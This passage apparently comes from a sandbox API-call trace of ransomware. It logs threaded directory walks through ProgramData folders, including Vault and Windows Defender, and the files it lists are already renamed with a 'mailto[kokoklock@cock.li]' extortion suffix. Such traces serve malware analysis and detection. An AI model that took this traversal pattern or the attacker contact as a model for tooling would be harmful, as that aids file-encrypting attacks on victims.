[0170.989] FindNextFileW (in: hFindFile=0x2f7f9a0, lpFindFileData=0x2f9cb40 | out: lpFindFileData=0x2f9cb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x86991e5b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x93138, dwReserved0=0x0, dwReserved1=0x0, cFileName="user.bmp.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0170.989] wcscmp (_String1="user.bmp.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.989] wcscmp (_String1="user.bmp.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.989] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xba) returned 0x4f0afa8 [0170.989] wcscpy (in: _Dest=0x4f0afa8, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures" [0170.989] wcscat (in: _Dest=0x4f0afa8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\" [0170.989] wcscat (in: _Dest=0x4f0afa8, _Source="user.bmp.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user.bmp.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user.bmp.mailto[kokoklock@cock.li].d0e731" [0170.989] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f0afa8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x964 [0170.990] FindNextFileW (in: hFindFile=0x2f7f9a0, lpFindFileData=0x2f9cb40 | out: lpFindFileData=0x2f9cb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x869b8139, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x15d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="user.png.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0170.990] wcscmp (_String1="user.png.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.990] wcscmp (_String1="user.png.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.990] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xba) returned 0x4f0b458 [0170.990] wcscpy (in: _Dest=0x4f0b458, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures" [0170.990] wcscat (in: _Dest=0x4f0b458, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\" [0170.990] wcscat (in: _Dest=0x4f0b458, _Source="user.png.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user.png.mailto[kokoklock@cock.li].d0e731" [0170.990] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f0b458, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x968 [0170.990] FindNextFileW (in: hFindFile=0x2f7f9a0, lpFindFileData=0x2f9cb40 | out: lpFindFileData=0x2f9cb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x869b8139, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x15d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="user.png.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 0 [0170.991] FindClose (in: hFindFile=0x2f7f9a0 | out: hFindFile=0x2f7f9a0) returned 1 [0170.991] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9cb40) returned 1 [0170.991] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96d50) returned 1 [0170.991] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f716c0) returned 1 [0170.991] RtlExitUserThread (Status=0x0) Thread: id = 1827 os_tid = 0xf54 [0169.340] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4a) returned 0x2fa0a58 [0169.340] wcscpy (in: _Dest=0x2fa0a58, _Source="C:\\Users\\All Users\\Microsoft\\Vault" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault") returned="C:\\Users\\All Users\\Microsoft\\Vault" [0169.340] wcscat (in: _Dest=0x2fa0a58, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\") returned="C:\\Users\\All Users\\Microsoft\\Vault\\" [0169.340] wcscat (in: _Dest=0x2fa0a58, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\*") returned="C:\\Users\\All Users\\Microsoft\\Vault\\*" [0169.340] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3023cc8 [0169.340] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\*", lpFindFileData=0x3023cc8 | out: lpFindFileData=0x3023cc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2c3a2, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbe4bcf6d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x448126f7, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7f9e0 [0169.341] wcscmp (_String1=".", _String2=".") returned 0 [0169.341] FindNextFileW (in: hFindFile=0x2f7f9e0, lpFindFileData=0x3023cc8 | out: lpFindFileData=0x3023cc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2c3a2, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbe4bcf6d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x448126f7, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.341] wcscmp (_String1="..", _String2=".") returned 1 [0169.341] wcscmp (_String1="..", _String2="..") returned 0 [0169.341] FindNextFileW (in: hFindFile=0x2f7f9e0, lpFindFileData=0x3023cc8 | out: lpFindFileData=0x3023cc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x448126f7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x892acfd6, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x892acfd6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AC658CB4-9126-49BD-B877-31EEDAB3F204", cAlternateFileName="AC658C~1")) returned 1 [0169.341] wcscmp (_String1="AC658CB4-9126-49BD-B877-31EEDAB3F204", _String2=".") returned 1 [0169.341] wcscmp (_String1="AC658CB4-9126-49BD-B877-31EEDAB3F204", _String2="..") returned 1 [0169.341] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x90) returned 0x2fcf1d0 [0169.341] wcscpy (in: _Dest=0x2fcf1d0, _Source="C:\\Users\\All Users\\Microsoft\\Vault" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault") returned="C:\\Users\\All Users\\Microsoft\\Vault" [0169.341] wcscat (in: _Dest=0x2fcf1d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\") returned="C:\\Users\\All Users\\Microsoft\\Vault\\" [0169.341] wcscat (in: _Dest=0x2fcf1d0, _Source="AC658CB4-9126-49BD-B877-31EEDAB3F204" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204") returned="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204" [0170.980] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fcf1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6ac [0170.980] FindNextFileW (in: hFindFile=0x2f7f9e0, lpFindFileData=0x3023cc8 | out: lpFindFileData=0x3023cc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x448126f7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x892acfd6, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x892acfd6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AC658CB4-9126-49BD-B877-31EEDAB3F204", cAlternateFileName="AC658C~1")) returned 0 [0170.980] FindClose (in: hFindFile=0x2f7f9e0 | out: hFindFile=0x2f7f9e0) returned 1 [0170.980] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3023cc8) returned 1 [0170.980] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa0a58) returned 1 [0170.980] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa1130) returned 1 [0170.980] RtlExitUserThread (Status=0x0) Thread: id = 1828 os_tid = 0xf58 [0169.342] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x46) returned 0x2ff0180 [0169.342] wcscpy (in: _Dest=0x2ff0180, _Source="C:\\Users\\All Users\\Microsoft\\WDF" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WDF") returned="C:\\Users\\All Users\\Microsoft\\WDF" [0169.342] wcscat (in: _Dest=0x2ff0180, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WDF\\") returned="C:\\Users\\All Users\\Microsoft\\WDF\\" [0169.342] wcscat (in: _Dest=0x2ff0180, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WDF\\*") returned="C:\\Users\\All Users\\Microsoft\\WDF\\*" [0169.342] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3023590 [0169.342] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WDF\\*", lpFindFileData=0x3023590 | out: lpFindFileData=0x3023590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe4be180, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7fa20 [0169.342] wcscmp (_String1=".", _String2=".") returned 0 [0169.342] FindNextFileW (in: hFindFile=0x2f7fa20, lpFindFileData=0x3023590 | out: lpFindFileData=0x3023590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe4be180, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.342] wcscmp (_String1="..", _String2=".") returned 1 [0169.342] wcscmp (_String1="..", _String2="..") returned 0 [0169.342] FindNextFileW (in: hFindFile=0x2f7fa20, lpFindFileData=0x3023590 | out: lpFindFileData=0x3023590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe4be180, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0169.342] FindClose (in: hFindFile=0x2f7fa20 | out: hFindFile=0x2f7fa20) returned 1 [0169.343] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3023590) returned 1 [0169.343] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff0180) returned 1 [0169.343] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa1220) returned 1 [0169.343] RtlExitUserThread (Status=0x0) Thread: id = 1829 os_tid = 0xf5c [0169.344] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x60) returned 0x2f87958 [0169.344] wcscpy (in: _Dest=0x2f87958, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender" [0169.344] wcscat (in: _Dest=0x2f87958, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\" [0169.344] wcscat (in: _Dest=0x2f87958, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\*" [0169.344] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3023590 [0169.344] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\*", lpFindFileData=0x3023590 | out: lpFindFileData=0x3023590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc25d4e74, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb320aac5, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7fa20 [0169.345] wcscmp (_String1=".", _String2=".") returned 0 [0169.345] FindNextFileW (in: hFindFile=0x2f7fa20, lpFindFileData=0x3023590 | out: lpFindFileData=0x3023590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc25d4e74, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb320aac5, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.346] wcscmp (_String1="..", _String2=".") returned 1 [0169.346] wcscmp (_String1="..", _String2="..") returned 0 [0169.346] FindNextFileW (in: hFindFile=0x2f7fa20, lpFindFileData=0x3023590 | out: lpFindFileData=0x3023590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc25d5968, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Clean Store", cAlternateFileName="CLEANS~1")) returned 1 [0169.346] wcscmp (_String1="Clean Store", _String2=".") returned 1 [0169.346] wcscmp (_String1="Clean Store", _String2="..") returned 1 [0169.346] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x74) returned 0x2f8b890 [0169.346] wcscpy (in: _Dest=0x2f8b890, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender" [0169.346] wcscat (in: _Dest=0x2f8b890, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\" [0169.346] wcscat (in: _Dest=0x2f8b890, _Source="Clean Store" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Clean Store") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Clean Store" [0170.970] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f8b890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6b0 [0170.970] FindNextFileW (in: hFindFile=0x2f7fa20, lpFindFileData=0x3023590 | out: lpFindFileData=0x3023590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb2ba2529, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb2ba2529, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Definition Updates", cAlternateFileName="DEFINI~1")) returned 1 [0170.970] wcscmp (_String1="Definition Updates", _String2=".") returned 1 [0170.970] wcscmp (_String1="Definition Updates", _String2="..") returned 1 [0170.970] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x82) returned 0x2f82988 [0170.970] wcscpy (in: _Dest=0x2f82988, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender" [0170.970] wcscat (in: _Dest=0x2f82988, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\" [0170.970] wcscat (in: _Dest=0x2f82988, _Source="Definition Updates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates" [0170.970] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f82988, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x928 [0170.971] FindNextFileW (in: hFindFile=0x2f7fa20, lpFindFileData=0x3023590 | out: lpFindFileData=0x3023590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc26279a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Features", cAlternateFileName="")) returned 1 [0170.971] wcscmp (_String1="Features", _String2=".") returned 1 [0170.971] wcscmp (_String1="Features", _String2="..") returned 1 [0170.971] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x6e) returned 0x2f96c60 [0170.971] wcscpy (in: _Dest=0x2f96c60, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender" [0170.971] wcscat (in: _Dest=0x2f96c60, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\" [0170.971] wcscat (in: _Dest=0x2f96c60, _Source="Features" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Features") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Features" [0170.971] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f96c60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x92c [0170.972] FindNextFileW (in: hFindFile=0x2f7fa20, lpFindFileData=0x3023590 | out: lpFindFileData=0x3023590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc26281f9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalCopy", cAlternateFileName="LOCALC~1")) returned 1 [0170.972] wcscmp (_String1="LocalCopy", _String2=".") returned 1 [0170.972] wcscmp (_String1="LocalCopy", _String2="..") returned 1 [0170.972] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96cd8 [0170.972] wcscpy (in: _Dest=0x2f96cd8, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender" [0170.972] wcscat (in: _Dest=0x2f96cd8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\" [0170.972] wcscat (in: _Dest=0x2f96cd8, _Source="LocalCopy" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\LocalCopy") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\LocalCopy" [0170.972] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f96cd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x930 [0170.973] FindNextFileW (in: hFindFile=0x2f7fa20, lpFindFileData=0x3023590 | out: lpFindFileData=0x3023590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2628aa5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb2bc876c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network Inspection System", cAlternateFileName="NETWOR~1")) returned 1 [0170.973] wcscmp (_String1="Network Inspection System", _String2=".") returned 1 [0170.973] wcscmp (_String1="Network Inspection System", _String2="..") returned 1 [0170.973] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x90) returned 0x2fcf988 [0170.973] wcscpy (in: _Dest=0x2fcf988, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender" [0170.973] wcscat (in: _Dest=0x2fcf988, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\" [0170.973] wcscat (in: _Dest=0x2fcf988, _Source="Network Inspection System" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System" [0170.973] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fcf988, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x934 [0170.974] FindNextFileW (in: hFindFile=0x2f7fa20, lpFindFileData=0x3023590 | out: lpFindFileData=0x3023590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc262a040, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Platform", cAlternateFileName="")) returned 1 [0170.974] wcscmp (_String1="Platform", _String2=".") returned 1 [0170.974] wcscmp (_String1="Platform", _String2="..") returned 1 [0170.974] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x6e) returned 0x2f96eb8 [0170.974] wcscpy (in: _Dest=0x2f96eb8, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender" [0170.974] wcscat (in: _Dest=0x2f96eb8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\" [0170.974] wcscat (in: _Dest=0x2f96eb8, _Source="Platform" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Platform") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Platform" [0170.974] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f96eb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x938 [0170.975] FindNextFileW (in: hFindFile=0x2f7fa20, lpFindFileData=0x3023590 | out: lpFindFileData=0x3023590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc262a749, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Quarantine", cAlternateFileName="QUARAN~1")) returned 1 [0170.975] wcscmp (_String1="Quarantine", _String2=".") returned 1 [0170.975] wcscmp (_String1="Quarantine", _String2="..") returned 1 [0170.975] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x72) returned 0x2f8bb10 [0170.975] wcscpy (in: _Dest=0x2f8bb10, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender" [0170.975] wcscat (in: _Dest=0x2f8bb10, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\" [0170.975] wcscat (in: _Dest=0x2f8bb10, _Source="Quarantine" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Quarantine") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Quarantine" [0170.975] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f8bb10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x93c [0170.976] FindNextFileW (in: hFindFile=0x2f7fa20, lpFindFileData=0x3023590 | out: lpFindFileData=0x3023590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x8d4e6d43, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8d4e6d43, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scans", cAlternateFileName="")) returned 1 [0170.976] wcscmp (_String1="Scans", _String2=".") returned 1 [0170.976] wcscmp (_String1="Scans", _String2="..") returned 1 [0170.976] RtlAllocateHeap 